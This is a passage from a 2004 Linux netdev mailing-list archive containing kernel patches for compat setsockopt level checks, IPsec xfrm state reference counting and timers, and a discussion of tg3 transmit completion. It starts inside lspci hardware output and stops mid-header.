BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- Reset- FastB2B- Capabilities: 00:05.0 Multimedia audio controller: C-Media Electronics Inc CM8738 (rev 10) Subsystem: Asustek Computer, Inc. CMI8738 6ch-MX Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:09.0 USB Controller: VIA Technologies, Inc. USB (rev 50) (prog-if 00 [UHCI]) Subsystem: Asustek Computer, Inc.: Unknown device 8080 Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:09.1 USB Controller: VIA Technologies, Inc. USB (rev 50) (prog-if 00 [UHCI]) Subsystem: Asustek Computer, Inc.: Unknown device 8080 Control: I/O+ Mem- BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:09.2 USB Controller: VIA Technologies, Inc. USB 2.0 (rev 51) (prog-if 20 [EHCI]) Subsystem: Asustek Computer, Inc.: Unknown device 8080 Control: I/O- Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:0c.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL-8139/8139C/8139C+ (rev 10) Subsystem: Realtek Semiconductor Co., Ltd. RT8139 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 00:0d.0 FireWire (IEEE 1394): VIA Technologies, Inc. IEEE 1394 Host Controller (rev 46) (prog-if 10 [OHCI]) Subsystem: VIA Technologies, Inc. IEEE 1394 Host Controller Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping+ SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:11.0 ISA bridge: VIA Technologies, Inc. VT8233A ISA Bridge Subsystem: Asustek Computer, Inc.: Unknown device 808c Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping+ SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:11.1 IDE interface: VIA Technologies, Inc. VT82C586A/B/VT82C686/A/B/VT8233/A/C/VT8235 PIPC Bus Master IDE (rev 06) (prog-if 8a [Master SecP PriP]) Subsystem: Asustek Computer, Inc. A7V8X motherboard Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- 00:11.2 USB Controller: VIA Technologies, Inc. USB (rev 23) (prog-if 00 [UHCI]) Subsystem: Asustek Computer, Inc. A7V8X motherboard Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 00:11.3 USB Controller: VIA Technologies, Inc. USB (rev 23) (prog-if 00 [UHCI]) Subsystem: Asustek Computer, Inc. A7V8X motherboard Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV+ VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz- UDF- FastB2B- ParErr- DEVSEL=medium >TAbort- SERR- 01:00.0 VGA compatible controller: nVidia Corporation NV17 [GeForce4 MX 460] (rev a3) (prog-if 00 [VGA]) Subsystem: Micro-Star International Co., Ltd.: Unknown device 8670 Control: I/O+ Mem+ BusMaster+ SpecCycle- MemWINV- VGASnoop- ParErr- Stepping- SERR- FastB2B- Status: Cap+ 66Mhz+ UDF- FastB2B+ ParErr- DEVSEL=medium >TAbort- SERR- --------------080806080609060104090703-- From okir@suse.de Mon May 24 04:35:26 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 04:35:56 -0700 (PDT) Received: from Cantor.suse.de (cantor.suse.de [195.135.220.2]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OBZMKO026469 for ; Mon, 24 May 2004 04:35:26 -0700 Received: from hermes.suse.de (hermes-ext.suse.de [195.135.221.8]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (No client certificate requested) by Cantor.suse.de (Postfix) with ESMTP id B93DD60380B for ; Mon, 24 May 2004 13:34:29 +0200 (CEST) Date: Mon, 24 May 2004 13:33:31 +0200 From: Olaf Kirch To: netdev@oss.sgi.com Cc: meissner@suse.de Subject: [PATCH 2.6] compat_sys_[gs]etsockopt need to check for level Message-ID: <20040524113331.GF23568@suse.de> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="BOKacYhQ+x31HxR3" Content-Disposition: inline User-Agent: Mutt/1.4i X-archive-position: 5280 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: okir@suse.de Precedence: bulk X-list: netdev --BOKacYhQ+x31HxR3 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline The 32bit emulation functions for setsockopt/getsockopt try to catch a few special cases by looking at the option name, without checking for the option level. This breaks IPV6_V6ONLY and probably a few others. The bug was found by Marcus Meissner. I hope I got the level for IPT_SO_SET_REPLACE right (I think it's SOL_IP). I would appreciate if someone could double-check. Cheers, Olaf -- Olaf Kirch | The Hardware Gods hate me. okir@suse.de | ---------------+ --BOKacYhQ+x31HxR3 Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=setsockopt-compat --- linux-2.6.5/net/compat.c.orig 2004-04-04 05:37:24.000000000 +0200 +++ linux-2.6.5/net/compat.c 2004-05-24 13:32:27.000000000 +0200 @@ -457,13 +457,14 @@ asmlinkage long compat_sys_setsockopt(int fd, int level, int optname, char *optval, int optlen) { - if (optname == IPT_SO_SET_REPLACE) + if (level == SOL_IP && optname == IPT_SO_SET_REPLACE) return do_netfilter_replace(fd, level, optname, optval, optlen); - if (optname == SO_ATTACH_FILTER) + if (level == SOL_SOCKET && optname == SO_ATTACH_FILTER) return do_set_attach_filter(fd, level, optname, optval, optlen); - if (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO) + if (level == SOL_SOCKET && + (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO)) return do_set_sock_timeout(fd, level, optname, optval, optlen); return sys_setsockopt(fd, level, optname, optval, optlen); @@ -500,7 +501,8 @@ asmlinkage long compat_sys_getsockopt(int fd, int level, int optname, char *optval, int *optlen) { - if (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO) + if (level == SOL_SOCKET && + (optname == SO_RCVTIMEO || optname == SO_SNDTIMEO)) return do_get_sock_timeout(fd, level, optname, optval, optlen); return sys_getsockopt(fd, level, optname, optval, optlen); } --BOKacYhQ+x31HxR3-- From herbert@gondor.apana.org.au Mon May 24 04:48:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 04:49:06 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OBm7KO026933 for ; Mon, 24 May 2004 04:48:10 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BSDvw-0005wu-00; Mon, 24 May 2004 21:47:56 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BSDvr-0007Sc-00; Mon, 24 May 2004 21:47:51 +1000 Date: Mon, 24 May 2004 21:47:51 +1000 To: "David S. Miller" Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: IPSec Oops when deleting an ip address Message-ID: <20040524114751.GA28571@gondor.apana.org.au> References: <20040510134958.13691.qmail@mason.oriente.labs.it> <20040521131950.GA20040@gondor.apana.org.au> <20040521144346.7887dbf0.davem@redhat.com> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="HlL+5n6rz5pIUxbD" Content-Disposition: inline In-Reply-To: <20040521144346.7887dbf0.davem@redhat.com> User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5281 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --HlL+5n6rz5pIUxbD Content-Type: text/plain; charset=us-ascii Content-Disposition: inline On Fri, May 21, 2004 at 02:43:46PM -0700, David S. Miller wrote: > On Fri, 21 May 2004 23:19:50 +1000 > Herbert Xu wrote: > > > doing a mod_timer on a live state without holding a lock or for that > > matter not even checking whether the state is dead is definitely a bad > > idea > > Applied, thanks Herbert. Looks like I was too hasty in blaming myself :) Although my patch does fix a real bug, it cannot have been responsible for the crash that the OP reported. The reason is that the state timer always keeps a reference to the state so even if it is incorrectly re-added the reference will prevent the crash. Hence the problem is still a bug in the ref counting. I think I've found the real culprit now. __xfrm?_find_acq() is missing an xfrm_state_hold on the create path. This also explains why I never see it myself since Openswan never creates states through that code-path. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --HlL+5n6rz5pIUxbD Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== xfrm4_state.c 1.6 vs edited ===== --- 1.6/net/ipv4/xfrm4_state.c 2003-07-21 21:49:43 +10:00 +++ edited/xfrm4_state.c 2004-05-24 21:41:29 +10:00 @@ -83,9 +83,7 @@ break; } } - if (x0) { - xfrm_state_hold(x0); - } else if (create && (x0 = xfrm_state_alloc()) != NULL) { + if (!x0 && create && (x0 = xfrm_state_alloc()) != NULL) { x0->sel.daddr.a4 = daddr->a4; x0->sel.saddr.a4 = saddr->a4; x0->sel.prefixlen_d = 32; @@ -105,6 +103,8 @@ list_add_tail(&x0->bydst, xfrm4_state_afinfo.state_bydst+h); wake_up(&km_waitq); } + if (x0) + xfrm_state_hold(x0); return x0; } ===== xfrm6_state.c 1.8 vs edited ===== --- 1.8/net/ipv6/xfrm6_state.c 2003-07-21 21:49:43 +10:00 +++ edited/xfrm6_state.c 2004-05-24 21:44:06 +10:00 @@ -90,9 +90,7 @@ break; } } - if (x0) { - xfrm_state_hold(x0); - } else if (create && (x0 = xfrm_state_alloc()) != NULL) { + if (!x0 && create && (x0 = xfrm_state_alloc()) != NULL) { ipv6_addr_copy((struct in6_addr *)x0->sel.daddr.a6, (struct in6_addr *)daddr); ipv6_addr_copy((struct in6_addr *)x0->sel.saddr.a6, @@ -115,6 +113,8 @@ list_add_tail(&x0->bydst, xfrm6_state_afinfo.state_bydst+h); wake_up(&km_waitq); } + if (x0) + xfrm_state_hold(x0); return x0; } --HlL+5n6rz5pIUxbD-- From herbert@gondor.apana.org.au Mon May 24 04:54:12 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 04:54:29 -0700 (PDT) Received: from arnor.apana.org.au (mail@arnor.apana.org.au [203.14.152.115]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OBs8KO027325 for ; Mon, 24 May 2004 04:54:11 -0700 Received: from gondolin.me.apana.org.au ([192.168.0.6] ident=mail) by arnor.apana.org.au with esmtp (Exim 3.35 #1 (Debian)) id 1BSE1q-0005zI-00; Mon, 24 May 2004 21:54:02 +1000 Received: from herbert by gondolin.me.apana.org.au with local (Exim 3.36 #1 (Debian)) id 1BSE1l-0007VQ-00; Mon, 24 May 2004 21:53:57 +1000 Date: Mon, 24 May 2004 21:53:57 +1000 To: "David S. Miller" , netdev@oss.sgi.com Subject: [IPSEC] Use add_timer instead of mod_timer in find_acq Message-ID: <20040524115357.GA28827@gondor.apana.org.au> Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="Nq2Wo0NMKNjxTN9z" Content-Disposition: inline User-Agent: Mutt/1.5.5.1+cvs20040105i From: Herbert Xu X-archive-position: 5282 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: herbert@gondor.apana.org.au Precedence: bulk X-list: netdev --Nq2Wo0NMKNjxTN9z Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Hi Dave: Here is a tiny optimisation to use add_timer instead of mod_timer on the create path in find_acq. Cheers, -- Visit Openswan at http://www.openswan.org/ Email: Herbert Xu ~{PmV>HI~} Home Page: http://gondor.apana.org.au/~herbert/ PGP Key: http://gondor.apana.org.au/~herbert/pubkey.txt --Nq2Wo0NMKNjxTN9z Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename=p ===== xfrm4_state.c 1.7 vs edited ===== --- 1.7/net/ipv4/xfrm4_state.c 2004-05-24 21:49:33 +10:00 +++ edited/xfrm4_state.c 2004-05-24 21:41:13 +10:00 @@ -98,7 +98,8 @@ x0->props.family = AF_INET; x0->lft.hard_add_expires_seconds = XFRM_ACQ_EXPIRES; xfrm_state_hold(x0); - mod_timer(&x0->timer, jiffies + XFRM_ACQ_EXPIRES*HZ); + x0->timer.expires = jiffies + XFRM_ACQ_EXPIRES*HZ; + add_timer(&x0->timer); xfrm_state_hold(x0); list_add_tail(&x0->bydst, xfrm4_state_afinfo.state_bydst+h); wake_up(&km_waitq); ===== xfrm6_state.c 1.9 vs edited ===== --- 1.9/net/ipv6/xfrm6_state.c 2004-05-24 21:49:33 +10:00 +++ edited/xfrm6_state.c 2004-05-24 21:51:19 +10:00 @@ -108,7 +108,8 @@ x0->props.reqid = reqid; x0->lft.hard_add_expires_seconds = XFRM_ACQ_EXPIRES; xfrm_state_hold(x0); - mod_timer(&x0->timer, jiffies + XFRM_ACQ_EXPIRES*HZ); + x0->timer.expires = jiffies + XFRM_ACQ_EXPIRES*HZ; + add_timer(&x0->timer); xfrm_state_hold(x0); list_add_tail(&x0->bydst, xfrm6_state_afinfo.state_bydst+h); wake_up(&km_waitq); --Nq2Wo0NMKNjxTN9z-- From davem@redhat.com Mon May 24 10:08:04 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 10:08:07 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OH83KO007288 for ; Mon, 24 May 2004 10:08:04 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4OH72GG029878; Mon, 24 May 2004 13:07:02 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4OH72013624; Mon, 24 May 2004 13:07:02 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4OH6whk023954; Mon, 24 May 2004 13:06:58 -0400 Date: Mon, 24 May 2004 10:06:34 -0700 From: "David S. Miller" To: Greg Banks Cc: netdev@oss.sgi.com, mchan@broadcom.com Subject: Re: [PATCH] fix BUG in tg3_tx Message-Id: <20040524100634.1349295d.davem@redhat.com> In-Reply-To: <20040524080431.GD27177@sgi.com> References: <20040524072657.GC27177@sgi.com> <20040524004045.58b3eb44.davem@redhat.com> <20040524080431.GD27177@sgi.com> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5283 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev [ Michael, the discussion here is about whether the tigon3 hardware ever partially ACK's completion of a multi-frag TX frame. I believe it never does, but Greg claims he can trigger such a case and has proposed a patch to the tg3 driver which attempts to handle that. ] On Mon, 24 May 2004 18:04:31 +1000 Greg Banks wrote: > On Mon, May 24, 2004 at 12:40:45AM -0700, David S. Miller wrote: > > On Mon, 24 May 2004 17:26:58 +1000 > > Greg Banks wrote: > > > > > The tg3 transmit code assumes that tg3_tx() will never have to clean > > > up part of an skb queued for transmit. This assumption is wrong; > > > > Greg, perhaps my reading of the tg3 chip docs is different > > from yours. The hardware is NEVER supposed to do this. > > I'd like to know where you read that, because neither I nor any of > the other SGI engineers who have read the Broadcom docs can find any > such guarantee. The most relevant (and accurate) piece of documentation for the chip is Broadcom's own driver :-) And they do not account at all for such a case of partial-packet TX completion indication. If the first frag is ACK'd they assume the whole packet has been taken. Here is the relevant code from the bcm5700 driver in LM_ServiceTxInterrupt(): while(SwConIdx != HwConIdx) { pPacket = pDevice->SendRing[SwConIdx]; pDevice->SendRing[SwConIdx] = 0; /* Set the return status. */ pPacket->PacketStatus = LM_STATUS_SUCCESS; /* Put the packet in the TxPacketXmittedQ for indication later. */ QQ_PushTail(&pDevice->TxPacketXmittedQ.Container, pPacket); /* Move to the next packet's BD. */ SwConIdx = (SwConIdx + pPacket->u.Tx.FragCount) & T3_SEND_RCB_ENTRY_COUNT_MASK; /* Update the number of unused BDs. */ MM_ATOMIC_ADD(&pDevice->SendBdLeft, pPacket->u.Tx.FragCount); /* Get the new updated HwConIdx. */ HwConIdx = pDevice->pStatusBlkVirt->Idx[0].SendConIdx; } /* while */ Imagine how badly this piece of code would fail if partial ACK'ing of TX packets actually occurred. It would loop past HwConIdx and thus ACK really-not-completed packets, potentially colliding with what the chip is transmitting and thus causing massive data corruption and likely a crash. Actually, it would most likely loop past all valid TX packets and dereference a pPacket NULL pointer. From davem@redhat.com Mon May 24 10:15:28 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 10:15:33 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OHFSKO008612 for ; Mon, 24 May 2004 10:15:28 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4OHFGGG001301; Mon, 24 May 2004 13:15:16 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4OHFG017425; Mon, 24 May 2004 13:15:16 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4OHFChk028911; Mon, 24 May 2004 13:15:13 -0400 Date: Mon, 24 May 2004 10:14:49 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com, linux-net@vger.kernel.org Subject: Re: IPSec Oops when deleting an ip address Message-Id: <20040524101449.053e74f9.davem@redhat.com> In-Reply-To: <20040524114751.GA28571@gondor.apana.org.au> References: <20040510134958.13691.qmail@mason.oriente.labs.it> <20040521131950.GA20040@gondor.apana.org.au> <20040521144346.7887dbf0.davem@redhat.com> <20040524114751.GA28571@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5284 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 24 May 2004 21:47:51 +1000 Herbert Xu wrote: > Hence the problem is still a bug in the ref counting. I think I've found > the real culprit now. __xfrm?_find_acq() is missing an xfrm_state_hold > on the create path. This also explains why I never see it myself since > Openswan never creates states through that code-path. Applied, thanks Herbert. How the heck are you generating your patches? Because the file paths look like this in the patch: --- 1.6/net/ipv4/xfrm4_state.c 2003-07-21 21:49:43 +10:00 +++ edited/xfrm4_state.c 2004-05-24 21:41:29 +10:00 My auto-patch-application scripts explode since the path depth of the file is different in the second line there. How come it doesn't look like: --- 1.6/net/ipv4/xfrm4_state.c 2003-07-21 21:49:43 +10:00 +++ edited/net/ipv4/xfrm4_state.c 2004-05-24 21:41:29 +10:00 So that I can throw "-p1" to tools like diffstat and get sane output? Your patches never did this in the past :-) From davem@redhat.com Mon May 24 10:16:18 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 10:16:20 -0700 (PDT) Received: from mx1.redhat.com (mx1.redhat.com [66.187.233.31]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OHGIKO008753 for ; Mon, 24 May 2004 10:16:18 -0700 Received: from int-mx1.corp.redhat.com (int-mx1.corp.redhat.com [172.16.52.254]) by mx1.redhat.com (8.12.10/8.12.10) with ESMTP id i4OHGDGG001789; Mon, 24 May 2004 13:16:13 -0400 Received: from devserv.devel.redhat.com (devserv.devel.redhat.com [172.16.58.1]) by int-mx1.corp.redhat.com (8.11.6/8.11.6) with ESMTP id i4OHGD017783; Mon, 24 May 2004 13:16:13 -0400 Received: from cheetah.davemloft.net (localhost.localdomain [127.0.0.1]) by devserv.devel.redhat.com (8.12.10/8.12.10) with SMTP id i4OHG9hk029371; Mon, 24 May 2004 13:16:09 -0400 Date: Mon, 24 May 2004 10:15:45 -0700 From: "David S. Miller" To: Herbert Xu Cc: netdev@oss.sgi.com Subject: Re: [IPSEC] Use add_timer instead of mod_timer in find_acq Message-Id: <20040524101545.579b79b2.davem@redhat.com> In-Reply-To: <20040524115357.GA28827@gondor.apana.org.au> References: <20040524115357.GA28827@gondor.apana.org.au> X-Mailer: Sylpheed version 0.9.10 (GTK+ 1.2.10; sparc-unknown-linux-gnu) X-Face: "_;p5u5aPsO,_Vsx"^v-pEq09'CU4&Dc1$fQExov$62l60cgCc%FnIwD=.UF^a>?5'9Kn[;433QFVV9M..2eN.@4ZWPGbdi<=?[:T>y?SD(R*-3It"Vj:)"dP Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5285 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: davem@redhat.com Precedence: bulk X-list: netdev On Mon, 24 May 2004 21:53:57 +1000 Herbert Xu wrote: > Here is a tiny optimisation to use add_timer instead of mod_timer > on the create path in find_acq. Applied, thanks. From mchan@broadcom.com Mon May 24 10:27:16 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 10:27:27 -0700 (PDT) Received: from mms3.broadcom.com (mms3.broadcom.com [63.70.210.38]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OHRGKO009378 for ; Mon, 24 May 2004 10:27:16 -0700 Received: from 63.70.210.1 by mms3.broadcom.com with ESMTP (Broadcom SMTP Relay (MMS v5.6.0)); Mon, 24 May 2004 10:27:02 -0700 X-Server-Uuid: 8D569F9F-42CF-4602-970D-AACC4BD5D310 Received: from nt-irva-0741.brcm.ad.broadcom.com ( nt-irva-0741.brcm.ad.broadcom.com [10.8.194.54]) by mon-irva-11.broadcom.com (8.9.1/8.9.1) with ESMTP id KAA13765; Mon, 24 May 2004 10:26:17 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [PATCH] fix BUG in tg3_tx Date: Mon, 24 May 2004 10:26:50 -0700 Message-ID: Thread-Topic: [PATCH] fix BUG in tg3_tx Thread-Index: AcRBseYT772VavmNSgWrnY92A7A8gwAAXEkQ From: "Michael Chan" To: "David S. Miller" , "Greg Banks" cc: netdev@oss.sgi.com X-WSS-ID: 6CACEFEF1LW3560898-01-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4OHRGKO009378 X-archive-position: 5286 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mchan@broadcom.com Precedence: bulk X-list: netdev David, The producer index of completed tx packets in the status block will always be at whole packet boundaries (1 + the index of the completed packet's last fragment). Even if it is a TSO packet, it will be at the boundaries of entire TSO packets. Michael > -----Original Message----- > From: David S. Miller [mailto:davem@redhat.com] > Sent: Monday, May 24, 2004 10:07 AM > To: Greg Banks > Cc: netdev@oss.sgi.com; Michael Chan > Subject: Re: [PATCH] fix BUG in tg3_tx > > > > [ Michael, the discussion here is about whether the tigon3 hardware > ever partially ACK's completion of a multi-frag TX frame. I > believe it never does, but Greg claims he can trigger such a case > and has proposed a patch to the tg3 driver which attempts > to handle that. ] > > On Mon, 24 May 2004 18:04:31 +1000 > Greg Banks wrote: > > > On Mon, May 24, 2004 at 12:40:45AM -0700, David S. Miller wrote: > > > On Mon, 24 May 2004 17:26:58 +1000 > > > Greg Banks wrote: > > > > > > > The tg3 transmit code assumes that tg3_tx() will never have to > > > > clean up part of an skb queued for transmit. This > assumption is > > > > wrong; > > > > > > Greg, perhaps my reading of the tg3 chip docs is different from > > > yours. The hardware is NEVER supposed to do this. > > > > I'd like to know where you read that, because neither I nor > any of the > > other SGI engineers who have read the Broadcom docs can > find any such > > guarantee. > > The most relevant (and accurate) piece of documentation for > the chip is Broadcom's own driver :-) And they do not account > at all for such a case of partial-packet TX completion > indication. If the first frag is ACK'd they assume the whole > packet has been taken. Here is the relevant code from the > bcm5700 driver in LM_ServiceTxInterrupt(): > > while(SwConIdx != HwConIdx) > { > pPacket = pDevice->SendRing[SwConIdx]; > pDevice->SendRing[SwConIdx] = 0; > > /* Set the return status. */ > pPacket->PacketStatus = LM_STATUS_SUCCESS; > > /* Put the packet in the TxPacketXmittedQ for > indication later. */ > QQ_PushTail(&pDevice->TxPacketXmittedQ.Container, pPacket); > > /* Move to the next packet's BD. */ > SwConIdx = (SwConIdx + pPacket->u.Tx.FragCount) & > T3_SEND_RCB_ENTRY_COUNT_MASK; > > /* Update the number of unused BDs. */ > MM_ATOMIC_ADD(&pDevice->SendBdLeft, pPacket->u.Tx.FragCount); > > /* Get the new updated HwConIdx. */ > HwConIdx = pDevice->pStatusBlkVirt->Idx[0].SendConIdx; > } /* while */ > > Imagine how badly this piece of code would fail if partial > ACK'ing of TX packets actually occurred. It would loop past > HwConIdx and thus ACK really-not-completed packets, > potentially colliding with what the chip is transmitting and > thus causing massive data corruption and likely a crash. > Actually, it would most likely loop past all valid TX packets > and dereference a pPacket NULL pointer. > > From mchan@broadcom.com Mon May 24 10:35:22 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 24 May 2004 10:35:25 -0700 (PDT) Received: from mms3.broadcom.com (mms3.broadcom.com [63.70.210.38]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i4OHZMKO009746 for ; Mon, 24 May 2004 10:35:22 -0700 Received: from 63.70.210.1 by mms3.broadcom.com with ESMTP (Broadcom SMTP Relay (MMS v5.6.0)); Mon, 24 May 2004 10:33:49 -0700 X-Server-Uuid: 8D569F9F-42CF-4602-970D-AACC4BD5D310 Received: from nt-irva-0741.brcm.ad.broadcom.com ( nt-irva-0741.brcm.ad.broadcom.com [10.8.194.54]) by mon-irva-11.broadcom.com (8.9.1/8.9.1) with ESMTP id KAA15517; Mon, 24 May 2004 10:33:11 -0700 (PDT) X-MimeOLE: Produced By Microsoft Exchange V6.5.6944.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [PATCH] fix BUG in tg3_tx Date: Mon, 24 May 2004 10:33:44 -0700 Message-ID: Thread-Topic: [PATCH] fix BUG in tg3_tx Thread-Index: AcRBseYT772VavmNSgWrnY92A7A8gwAAXEkQAABxBKA= From: "Michael Chan" To: "David S. Miller" , "Greg Banks" cc: netdev@oss.sgi.com X-WSS-ID: 6CACEE771LW3562383-01-01 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id i4OHZMKO009746 X-archive-position: 5287 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: mchan@broadcom.com Precedence: bulk X-list: netdev > David, > > The producer index of completed tx packets in the status > block will always be at whole packet boundaries (1 + the > index of the completed packet's last fragment). Even if it is > a TSO packet, it will be at the boundaries of entire TSO packets. > > Michael > Minor correction - I should have said the send BD consumer index instead of the producer index. From hadi@cyberus.ca Mon May 24 11:12:14 2004 Received: 